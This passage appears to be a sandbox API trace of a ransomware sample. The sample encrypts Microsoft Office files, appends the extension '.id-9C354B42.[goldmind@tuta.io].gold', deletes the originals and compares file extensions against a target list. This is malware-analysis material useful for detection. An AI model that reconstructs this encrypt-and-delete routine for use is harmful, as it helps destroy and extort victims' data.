hFile=0x230, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=114) returned 1 [0106.181] CloseHandle (hObject=0x230) returned 1 [0106.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk")) returned 0x20 [0106.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0106.182] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.182] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0106.182] GetLastError () returned 0x0 [0106.182] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x72, lpOverlapped=0x0) returned 1 [0106.655] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x80, lpOverlapped=0x0) returned 1 [0106.655] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.655] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0106.655] SetEndOfFile (hFile=0x3c4) returned 1 [0106.656] CloseHandle (hObject=0x3c4) returned 1 [0106.656] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.656] SetEndOfFile (hFile=0x230) returned 1 [0106.657] CloseHandle (hObject=0x230) returned 1 [0106.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk")) returned 1 [0106.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0106.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0106.793] lstrlenW (lpString=".doc") returned 4 [0106.793] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0106.793] lstrlenW (lpString=".docx") returned 5 [0106.793] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0106.793] lstrlenW (lpString=".pdf") returned 4 [0106.793] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0106.793] lstrlenW (lpString=".xls") returned 4 [0106.793] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0106.793] lstrlenW (lpString=".xlsx") returned 5 [0106.793] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0106.793] lstrlenW (lpString=".ppt") returned 4 [0106.794] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0106.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0106.794] lstrlenW (lpString=".zip") returned 4 [0106.794] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0106.794] lstrlenW (lpString=".rar") returned 4 [0106.794] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0106.794] lstrlenW (lpString=".bz2") returned 4 [0106.794] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0106.794] lstrlenW (lpString=".7z") returned 3 [0106.794] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0106.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0106.794] lstrlenW (lpString=".dbf") returned 4 [0106.794] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0106.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0106.794] lstrlenW (lpString=".1cd") returned 4 [0106.794] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0106.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0106.794] lstrlenW (lpString=".jpg") returned 4 [0106.794] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0106.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0106.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0106.794] lstrlenW (lpString=".doc") returned 4 [0106.794] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0106.794] lstrlenW (lpString=".docx") returned 5 [0106.794] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0106.794] lstrlenW (lpString=".pdf") returned 4 [0106.794] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0106.794] lstrlenW (lpString=".xls") returned 4 [0106.794] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0106.794] lstrlenW (lpString=".xlsx") returned 5 [0106.794] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0106.794] lstrlenW (lpString=".ppt") returned 4 [0106.794] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0106.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0106.794] lstrlenW (lpString=".zip") returned 4 [0106.794] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0106.794] lstrlenW (lpString=".rar") returned 4 [0106.794] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0106.794] lstrlenW (lpString=".bz2") returned 4 [0106.794] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0106.794] lstrlenW (lpString=".7z") returned 3 [0106.794] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0106.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0106.794] lstrlenW (lpString=".dbf") returned 4 [0106.794] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0106.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0106.794] lstrlenW (lpString=".1cd") returned 4 [0106.794] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0106.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0106.794] lstrlenW (lpString=".jpg") returned 4 [0106.794] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0106.795] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0106.795] lstrlenW (lpString="SGRES.DLL") returned 9 [0106.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0107.189] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=68984) returned 1 [0107.189] CloseHandle (hObject=0x180) returned 1 [0107.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll")) returned 0x20 [0107.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0107.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0107.380] lstrlenW (lpString=".doc") returned 4 [0107.380] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0107.380] lstrlenW (lpString=".docx") returned 5 [0107.380] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0107.380] lstrlenW (lpString=".pdf") returned 4 [0107.380] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0107.380] lstrlenW (lpString=".xls") returned 4 [0107.380] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0107.380] lstrlenW (lpString=".xlsx") returned 5 [0107.380] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0107.380] lstrlenW (lpString=".ppt") returned 4 [0107.380] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0107.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0107.380] lstrlenW (lpString=".zip") returned 4 [0107.381] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0107.381] lstrlenW (lpString=".rar") returned 4 [0107.381] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0107.381] lstrlenW (lpString=".bz2") returned 4 [0107.381] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0107.381] lstrlenW (lpString=".7z") returned 3 [0107.381] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0107.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0107.381] lstrlenW (lpString=".dbf") returned 4 [0107.381] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0107.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0107.381] lstrlenW (lpString=".1cd") returned 4 [0107.381] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0107.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0107.381] lstrlenW (lpString=".jpg") returned 4 [0107.381] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0107.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0107.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0107.381] lstrlenW (lpString=".doc") returned 4 [0107.381] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0107.381] lstrlenW (lpString=".docx") returned 5 [0107.381] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0107.381] lstrlenW (lpString=".pdf") returned 4 [0107.381] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0107.381] lstrlenW (lpString=".xls") returned 4 [0107.381] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0107.381] lstrlenW (lpString=".xlsx") returned 5 [0107.381] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0107.381] lstrlenW (lpString=".ppt") returned 4 [0107.381] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0107.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0107.381] lstrlenW (lpString=".zip") returned 4 [0107.381] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0107.381] lstrlenW (lpString=".rar") returned 4 [0107.381] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0107.381] lstrlenW (lpString=".bz2") returned 4 [0107.381] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0107.381] lstrlenW (lpString=".7z") returned 3 [0107.381] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0107.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0107.381] lstrlenW (lpString=".dbf") returned 4 [0107.381] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0107.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0107.381] lstrlenW (lpString=".1cd") returned 4 [0107.381] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0107.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0107.381] lstrlenW (lpString=".jpg") returned 4 [0107.381] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0107.381] lstrcmpiW (lpString1=".VRD", lpString2=".gold") returned 1 [0107.382] lstrlenW (lpString="VALVE.VRD") returned 9 [0107.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.406] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1868) returned 1 [0107.407] CloseHandle (hObject=0x230) returned 1 [0107.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd")) returned 0x20 [0107.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0107.470] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.470] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0107.470] GetLastError () returned 0x0 [0107.470] ReadFile (in: hFile=0x3cc, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x74c, lpOverlapped=0x0) returned 1 [0107.488] WriteFile (in: hFile=0x3b0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x750, lpOverlapped=0x0) returned 1 [0107.489] ReadFile (in: hFile=0x3cc, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.489] WriteFile (in: hFile=0x3b0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0107.489] SetEndOfFile (hFile=0x3b0) returned 1 [0107.489] CloseHandle (hObject=0x3b0) returned 1 [0107.489] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.489] SetEndOfFile (hFile=0x3cc) returned 1 [0107.491] CloseHandle (hObject=0x3cc) returned 1 [0107.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.491] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd")) returned 1 [0107.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0107.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0107.492] lstrlenW (lpString=".doc") returned 4 [0107.492] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0107.492] lstrlenW (lpString=".docx") returned 5 [0107.492] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0107.492] lstrlenW (lpString=".pdf") returned 4 [0107.492] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0107.492] lstrlenW (lpString=".xls") returned 4 [0107.492] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0107.492] lstrlenW (lpString=".xlsx") returned 5 [0107.492] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0107.492] lstrlenW (lpString=".ppt") returned 4 [0107.492] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0107.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0107.492] lstrlenW (lpString=".zip") returned 4 [0107.492] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0107.492] lstrlenW (lpString=".rar") returned 4 [0107.492] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0107.492] lstrlenW (lpString=".bz2") returned 4 [0107.492] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0107.492] lstrlenW (lpString=".7z") returned 3 [0107.492] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0107.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0107.492] lstrlenW (lpString=".dbf") returned 4 [0107.492] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0107.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0107.492] lstrlenW (lpString=".1cd") returned 4 [0107.492] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0107.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0107.492] lstrlenW (lpString=".jpg") returned 4 [0107.492] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0107.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0107.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0107.492] lstrlenW (lpString=".doc") returned 4 [0107.492] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0107.492] lstrlenW (lpString=".docx") returned 5 [0107.492] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0107.492] lstrlenW (lpString=".pdf") returned 4 [0107.492] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0107.492] lstrlenW (lpString=".xls") returned 4 [0107.492] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0107.492] lstrlenW (lpString=".xlsx") returned 5 [0107.492] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0107.492] lstrlenW (lpString=".ppt") returned 4 [0107.492] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0107.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0107.492] lstrlenW (lpString=".zip") returned 4 [0107.492] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0107.492] lstrlenW (lpString=".rar") returned 4 [0107.492] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0107.492] lstrlenW (lpString=".bz2") returned 4 [0107.492] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0107.492] lstrlenW (lpString=".7z") returned 3 [0107.492] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0107.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0107.492] lstrlenW (lpString=".dbf") returned 4 [0107.492] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0107.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0107.493] lstrlenW (lpString=".1cd") returned 4 [0107.493] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0107.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0107.493] lstrlenW (lpString=".jpg") returned 4 [0107.493] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0107.493] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0107.493] lstrlenW (lpString="VISIO.DEV.HXS") returned 13 [0107.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0107.494] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=5802528) returned 1 [0107.494] CloseHandle (hObject=0x3cc) returned 1 [0107.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs")) returned 0x20 [0107.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.494] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0107.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0107.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0107.494] lstrlenW (lpString=".doc") returned 4 [0107.494] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0107.494] lstrlenW (lpString=".docx") returned 5 [0107.494] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0107.494] lstrlenW (lpString=".pdf") returned 4 [0107.494] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0107.494] lstrlenW (lpString=".xls") returned 4 [0107.494] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0107.494] lstrlenW (lpString=".xlsx") returned 5 [0107.494] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0107.494] lstrlenW (lpString=".ppt") returned 4 [0107.494] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0107.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0107.494] lstrlenW (lpString=".zip") returned 4 [0107.494] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0107.494] lstrlenW (lpString=".rar") returned 4 [0107.494] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0107.494] lstrlenW (lpString=".bz2") returned 4 [0107.494] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0107.494] lstrlenW (lpString=".7z") returned 3 [0107.494] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0107.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0107.494] lstrlenW (lpString=".dbf") returned 4 [0107.494] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0107.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0107.494] lstrlenW (lpString=".1cd") returned 4 [0107.494] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0107.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0107.494] lstrlenW (lpString=".jpg") returned 4 [0107.495] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0107.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0107.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0107.495] lstrlenW (lpString=".doc") returned 4 [0107.495] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0107.495] lstrlenW (lpString=".docx") returned 5 [0107.495] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0107.495] lstrlenW (lpString=".pdf") returned 4 [0107.495] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0107.495] lstrlenW (lpString=".xls") returned 4 [0107.495] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0107.495] lstrlenW (lpString=".xlsx") returned 5 [0107.495] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0107.495] 